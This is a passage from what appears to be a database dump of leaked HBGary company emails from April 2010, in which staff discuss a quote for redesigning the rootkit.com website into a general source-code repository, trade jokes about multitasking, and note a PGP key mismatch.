faster..\r\n&gt;\r\n&gt; and multitask...\r\n&gt;\r\n&gt; you don\'t get paid to be a single threaded hamster in a wheel...\r\n&gt;\r\n&gt; :)\r\n&gt;\r\n&gt;\r\n&gt; On Apr 9, 2010, at 2:53 PM, Mark Trynor wrote:\r\n&gt;\r\n&gt; I was writing it up but got interrupted by this email ;)\r\n&gt;\r\n&gt; Aaron Barr wrote:\r\n&gt; &gt; Can you get me an estimate on\r\n&gt; time today?\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt; Aaron\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt; On Apr 6, 2010, at 11:11 AM, Greg Hoglund wrote:\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&nbsp; \r\n&gt;\r\n&gt; &gt;&gt; Aaron,\r\n&gt;\r\n&gt; &gt;&gt;&nbsp; \r\n&gt;\r\n&gt; &gt;&gt; How much to have your new guy do some web programming\r\nfor\r\n&gt;\r\n&gt; &gt;&gt; rootkit.com &lt;http://rootkit.com&gt;\r\n&lt;http://rootkit.com/&gt; ?\r\n&gt;\r\n&gt; &gt;&gt;&nbsp; \r\n&gt;\r\n&gt; &gt;&gt; here is what I am looking for:\r\n&gt;\r\n&gt; &gt;&gt;&nbsp; \r\n&gt;\r\n&gt; &gt;&gt; 1) keep the same look / graphics, no graphic design\r\nrequired\r\n&gt;\r\n&gt; &gt;&gt; 2) left hand menu,\r\n&gt;\r\n&gt; &gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp; remove the list of rootkits\r\n&gt;\r\n&gt; &gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp; add a [source code search] box\r\n&gt;\r\n&gt; &gt;&gt; 3) convert rootkit project system to a more general\r\npurpose\r\n&gt;\r\n&gt; &gt;&gt; source-code repository\r\n&gt;\r\n&gt; &gt;&gt;&nbsp;&nbsp;&nbsp; 3a) each project includes downloadable zip of source\r\ncode\r\n&gt;\r\n&gt; &gt;&gt;&nbsp;&nbsp;&nbsp; 3b) each project includes contributer and short\r\n&gt; description /\r\n&gt;\r\n&gt; &gt;&gt; article\r\n&gt;\r\n&gt; &gt;&gt;&nbsp;&nbsp;&nbsp; 3c) the source code of the project can be viewed\r\nonline\r\n&gt; using a\r\n&gt;\r\n&gt; &gt;&gt; pretty-printed source code display (php)\r\n&gt;\r\n&gt; &gt;&gt;&nbsp;&nbsp;&nbsp; 3d) the forum that goes with each project is removed\r\n&gt;\r\n&gt; &gt;&gt; 4) consolidate the forums into a single large forum,\r\npreserve\r\n&gt;\r\n&gt; &gt;&gt; historical posts\r\n&gt;\r\n&gt; &gt;&gt; 5) update the project creation to allow source code to\r\nany\r\n&gt; tool to\r\n&gt;\r\n&gt; &gt;&gt; be uploaded, description / short article added\r\n&gt;\r\n&gt; &gt;&gt;&nbsp; \r\n&gt;\r\n&gt; &gt;&gt; I can better explain the concept of this on the fone or\r\nin\r\n&gt; person.\r\n&gt;\r\n&gt; &gt;&gt;&nbsp; \r\n&gt;\r\n&gt; &gt;&gt; --Greg\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt; Aaron Barr\r\n&gt;\r\n&gt; &gt; CEO\r\n&gt;\r\n&gt; &gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;&gt;\r\n\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n\r\n\r\n\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/eEQACgkQWw/TEDXzQNNkDwCeNM4VrtlFxouDP2trY+YMtEBH\r\nWrAAn3CI55bqcpg6HjFlZ72MocM5+dHG\r\n=tY6+\r\n-----END PGP SIGNATURE-----\r\n\r\n\r\n\r\n',14862,'aaron_hbgary_com/14862.html'),(5086,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003239.M192275P3547Q5086.eml','\"Mark Trynor\" <mark@hbgary.com>','Re: Rootkit.com web design work','appearing as if you multitask is fine as long as I can\'t tell the difference.On Apr 9, 2010, at 2:56 PM, Mark Trynor wrote:\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nROFL!!\r\n\r\nI will multitask like the new iPhone will, in that I fake it.\r\n\r\nAaron Barr wrote:\r\n&gt; ok...please work faster..\r\n&gt;\r\n&gt; and multitask...\r\n&gt;\r\n&gt; you don\'t get paid to be a single threaded hamster in a wheel...\r\n&gt;\r\n&gt; :)\r\n&gt;\r\n&gt;\r\n&gt; On Apr 9, 2010, at 2:53 PM, Mark Trynor wrote:\r\n&gt;\r\n&gt; I was writing it up but got interrupted by this email ;)\r\n&gt;\r\n&gt; Aaron Barr wrote:\r\n&gt; &gt; Can you get me an estimate on\r\n&gt; time today?\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt; Aaron\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt; On Apr 6, 2010, at 11:11 AM, Greg Hoglund wrote:\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt;&gt;&nbsp; \r\n&gt;\r\n&gt; &gt;&gt; Aaron,\r\n&gt;\r\n&gt; &gt;&gt;&nbsp; \r\n&gt;\r\n&gt; &gt;&gt; How much to have your new guy do some web programming\r\nfor\r\n&gt;\r\n&gt; &gt;&gt; rootkit.com &lt;http://rootkit.com&gt;\r\n&lt;http://rootkit.com/&gt; ?\r\n&gt;\r\n&gt; &gt;&gt;&nbsp; \r\n&gt;\r\n&gt; &gt;&gt; here is what I am looking for:\r\n&gt;\r\n&gt; &gt;&gt;&nbsp; \r\n&gt;\r\n&gt; &gt;&gt; 1) keep the same look / graphics, no graphic design\r\nrequired\r\n&gt;\r\n&gt; &gt;&gt; 2) left hand menu,\r\n&gt;\r\n&gt; &gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp; remove the list of rootkits\r\n&gt;\r\n&gt; &gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp; add a [source code search] box\r\n&gt;\r\n&gt; &gt;&gt; 3) convert rootkit project system to a more general\r\npurpose\r\n&gt;\r\n&gt; &gt;&gt; source-code repository\r\n&gt;\r\n&gt; &gt;&gt;&nbsp;&nbsp;&nbsp; 3a) each project includes downloadable zip of source\r\ncode\r\n&gt;\r\n&gt; &gt;&gt;&nbsp;&nbsp;&nbsp; 3b) each project includes contributer and short\r\n&gt; description /\r\n&gt;\r\n&gt; &gt;&gt; article\r\n&gt;\r\n&gt; &gt;&gt;&nbsp;&nbsp;&nbsp; 3c) the source code of the project can be viewed\r\nonline\r\n&gt; using a\r\n&gt;\r\n&gt; &gt;&gt; pretty-printed source code display (php)\r\n&gt;\r\n&gt; &gt;&gt;&nbsp;&nbsp;&nbsp; 3d) the forum that goes with each project is removed\r\n&gt;\r\n&gt; &gt;&gt; 4) consolidate the forums into a single large forum,\r\npreserve\r\n&gt;\r\n&gt; &gt;&gt; historical posts\r\n&gt;\r\n&gt; &gt;&gt; 5) update the project creation to allow source code to\r\nany\r\n&gt; tool to\r\n&gt;\r\n&gt; &gt;&gt; be uploaded, description / short article added\r\n&gt;\r\n&gt; &gt;&gt;&nbsp; \r\n&gt;\r\n&gt; &gt;&gt; I can better explain the concept of this on the fone or\r\nin\r\n&gt; person.\r\n&gt;\r\n&gt; &gt;&gt;&nbsp; \r\n&gt;\r\n&gt; &gt;&gt; --Greg\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; &gt; Aaron Barr\r\n&gt;\r\n&gt; &gt; CEO\r\n&gt;\r\n&gt; &gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;&gt;\r\n\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n\r\n\r\n\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/eEQACgkQWw/TEDXzQNNkDwCeNM4VrtlFxouDP2trY+YMtEBH\r\nWrAAn3CI55bqcpg6HjFlZ72MocM5+dHG\r\n=tY6+\r\n-----END PGP SIGNATURE-----\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16007,'aaron_hbgary_com/16007.html'),(5087,'2010-04-09','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297003239.M398734P3547Q5087.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Fwd: Rootkit.com web design work','',16716,'aaron_hbgary_com/16716.html'),(5088,'2010-04-09','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297003245.M192980P3547Q5088.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Rootkit.com web design work','\r\n\r\n\r\n  \r\n\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nstupid email couldn\'t get this message out fast enough to make it\r\nappear that way\r\n\r\nAaron Barr wrote:\r\n&gt; appearing as if you multitask is\r\nfine as long as I can\'t tell the \r\n&gt; difference.\r\n&gt; \r\n&gt; On Apr 9, 2010, at 2:56 PM, Mark Trynor wrote:\r\n&gt; \r\n&gt; ROFL!!\r\n&gt; \r\n&gt; I will multitask like the new iPhone will, in that I fake it.\r\n&gt; \r\n&gt; Aaron Barr wrote:\r\n&gt;&gt; ok...please work faster..\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; and multitask...\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; you don\'t get paid to be a single threaded hamster in a\r\nwheel...\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; :)\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; On Apr 9, 2010, at 2:53 PM, Mark Trynor wrote:\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; I was writing it up but got interrupted by this email ;)\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; Aaron Barr wrote:\r\n&gt; \r\n&gt;&gt;&gt; Can you get me an estimate on\r\n&gt; \r\n&gt;&gt; time today?\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; Aaron\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; On Apr 6, 2010, at 11:11 AM, Greg Hoglund wrote:\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; Aaron,\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; How much to have your new guy do some web programming\r\n&gt; for\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; rootkit.com &lt;http://rootkit.com&gt;\r\n&lt;http://rootkit.com&gt;\r\n&gt; &lt;http://rootkit.com/&gt; ?\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; here is what I am looking for:\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 1) keep the same look / graphics, no graphic design\r\n&gt; required\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 2) left hand menu,\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; remove the list of rootkits\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; add a [source code search] box\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3) convert rootkit project system to a more general\r\n&gt; purpose\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; source-code repository\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3a) each project includes downloadable zip of source\r\n&gt; code\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3b) each project includes contributer and short\r\n&gt; \r\n&gt;&gt; description /\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; article\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3c) the source code of the project can be viewed\r\n&gt; online\r\n&gt; \r\n&gt;&gt; using a\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; pretty-printed source code display (php)\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3d) the forum that goes with each project is removed\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 4) consolidate the forums into a single large forum,\r\n&gt; preserve\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; historical posts\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 5) update the project creation to allow source code\r\nto\r\n&gt; any\r\n&gt; \r\n&gt;&gt; tool to\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; be uploaded, description / short article added\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; I can better explain the concept of this on the fone\r\nor\r\n&gt; in\r\n&gt; \r\n&gt;&gt; person.\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; --Greg\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; Aaron Barr\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; CEO\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; HBGary Federal Inc.\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; Aaron Barr\r\n&gt; \r\n&gt;&gt; CEO\r\n&gt; \r\n&gt;&gt; HBGary Federal Inc.\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; \r\n\r\n&gt; Aaron Barr CEO HBGary Federal Inc.\r\n\r\n\r\n\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/eQ8ACgkQWw/TEDXzQNMGbACeKucTcmVlE9AEdu7GyG9oZQva\r\nBFMAn1bGY/tBSJYV81cb6+rbjoFpr41S\r\n=NhRp\r\n-----END PGP SIGNATURE-----\r\n\r\n\r\n\r\n',9904,'aaron_hbgary_com/9904.html'),(5089,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003245.M390275P3547Q5089.eml','\"Mark Trynor\" <mark@hbgary.com>','Re: Rootkit.com web design work','true...apparent multitasking...On Apr 9, 2010, at 2:59 PM, Mark Trynor wrote:\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nstupid email couldn\'t get this message out fast enough to make it\r\nappear that way\r\n\r\nAaron Barr wrote:\r\n&gt; appearing as if you multitask is\r\nfine as long as I can\'t tell the \r\n&gt; difference.\r\n&gt; \r\n&gt; On Apr 9, 2010, at 2:56 PM, Mark Trynor wrote:\r\n&gt; \r\n&gt; ROFL!!\r\n&gt; \r\n&gt; I will multitask like the new iPhone will, in that I fake it.\r\n&gt; \r\n&gt; Aaron Barr wrote:\r\n&gt;&gt; ok...please work faster..\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; and multitask...\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; you don\'t get paid to be a single threaded hamster in a\r\nwheel...\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; :)\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; On Apr 9, 2010, at 2:53 PM, Mark Trynor wrote:\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; I was writing it up but got interrupted by this email ;)\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; Aaron Barr wrote:\r\n&gt; \r\n&gt;&gt;&gt; Can you get me an estimate on\r\n&gt; \r\n&gt;&gt; time today?\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; Aaron\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; On Apr 6, 2010, at 11:11 AM, Greg Hoglund wrote:\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; Aaron,\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; How much to have your new guy do some web programming\r\n&gt; for\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; rootkit.com &lt;http://rootkit.com&gt;\r\n&lt;http://rootkit.com&gt;\r\n&gt; &lt;http://rootkit.com/&gt; ?\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; here is what I am looking for:\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 1) keep the same look / graphics, no graphic design\r\n&gt; required\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 2) left hand menu,\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; remove the list of rootkits\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; add a [source code search] box\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3) convert rootkit project system to a more general\r\n&gt; purpose\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; source-code repository\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3a) each project includes downloadable zip of source\r\n&gt; code\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3b) each project includes contributer and short\r\n&gt; \r\n&gt;&gt; description /\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; article\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3c) the source code of the project can be viewed\r\n&gt; online\r\n&gt; \r\n&gt;&gt; using a\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; pretty-printed source code display (php)\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3d) the forum that goes with each project is removed\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 4) consolidate the forums into a single large forum,\r\n&gt; preserve\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; historical posts\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 5) update the project creation to allow source code\r\nto\r\n&gt; any\r\n&gt; \r\n&gt;&gt; tool to\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; be uploaded, description / short article added\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; I can better explain the concept of this on the fone\r\nor\r\n&gt; in\r\n&gt; \r\n&gt;&gt; person.\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; --Greg\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; Aaron Barr\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; CEO\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; HBGary Federal Inc.\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; Aaron Barr\r\n&gt; \r\n&gt;&gt; CEO\r\n&gt; \r\n&gt;&gt; HBGary Federal Inc.\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; \r\n\r\n&gt; Aaron Barr CEO HBGary Federal Inc.\r\n\r\n\r\n\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/eQ8ACgkQWw/TEDXzQNMGbACeKucTcmVlE9AEdu7GyG9oZQva\r\nBFMAn1bGY/tBSJYV81cb6+rbjoFpr41S\r\n=NhRp\r\n-----END PGP SIGNATURE-----\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',998,'aaron_hbgary_com/998.html'),(5090,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003245.M603744P3547Q5090.eml','\"Mark Trynor\" <mark@hbgary.com>','Re: Rootkit.com web design work','ok you encrypted the last email but not with the right key as I can\'t decrypt it. &nbsp;does it have to be encrypted?On Apr 9, 2010, at 2:59 PM, Mark Trynor wrote:\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nstupid email couldn\'t get this message out fast enough to make it\r\nappear that way\r\n\r\nAaron Barr wrote:\r\n&gt; appearing as if you multitask is\r\nfine as long as I can\'t tell the \r\n&gt; difference.\r\n&gt; \r\n&gt; On Apr 9, 2010, at 2:56 PM, Mark Trynor wrote:\r\n&gt; \r\n&gt; ROFL!!\r\n&gt; \r\n&gt; I will multitask like the new iPhone will, in that I fake it.\r\n&gt; \r\n&gt; Aaron Barr wrote:\r\n&gt;&gt; ok...please work faster..\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; and multitask...\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; you don\'t get paid to be a single threaded hamster in a\r\nwheel...\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; :)\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; On Apr 9, 2010, at 2:53 PM, Mark Trynor wrote:\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; I was writing it up but got interrupted by this email ;)\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; Aaron Barr wrote:\r\n&gt; \r\n&gt;&gt;&gt; Can you get me an estimate on\r\n&gt; \r\n&gt;&gt; time today?\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; Aaron\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; On Apr 6, 2010, at 11:11 AM, Greg Hoglund wrote:\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; Aaron,\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; How much to have your new guy do some web programming\r\n&gt; for\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; rootkit.com &lt;http://rootkit.com&gt;\r\n&lt;http://rootkit.com&gt;\r\n&gt; &lt;http://rootkit.com/&gt; ?\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; here is what I am looking for:\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 1) keep the same look / graphics, no graphic design\r\n&gt; required\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 2) left hand menu,\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; remove the list of rootkits\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; add a [source code search] box\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3) convert rootkit project system to a more general\r\n&gt; purpose\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; source-code repository\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3a) each project includes downloadable zip of source\r\n&gt; code\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3b) each project includes contributer and short\r\n&gt; \r\n&gt;&gt; description /\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; article\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3c) the source code of the project can be viewed\r\n&gt; online\r\n&gt; \r\n&gt;&gt; using a\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; pretty-printed source code display (php)\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 3d) the forum that goes with each project is removed\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 4) consolidate the forums into a single large forum,\r\n&gt; preserve\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; historical posts\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; 5) update the project creation to allow source code\r\nto\r\n&gt; any\r\n&gt; \r\n&gt;&gt; tool to\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; be uploaded, description / short article added\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; I can better explain the concept of this on the fone\r\nor\r\n&gt; in\r\n&gt; \r\n&gt;&gt; person.\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt;&gt; --Greg\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; Aaron Barr\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; CEO\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt;&gt; HBGary Federal Inc.\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; Aaron Barr\r\n&gt; \r\n&gt;&gt; CEO\r\n&gt; \r\n&gt;&gt; HBGary Federal Inc.\r\n&gt; \r\n&gt; \r\n&gt; \r\n&gt;&gt; \r\n\r\n&gt; Aaron Barr CEO HBGary Federal Inc.\r\n\r\n\r\n\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/eQ8ACgkQWw/TEDXzQNMGbACeKucTcmVlE9AEdu7GyG9oZQva\r\nBFMAn1bGY/tBSJYV81cb6+rbjoFpr41S\r\n=NhRp\r\n-----END PGP 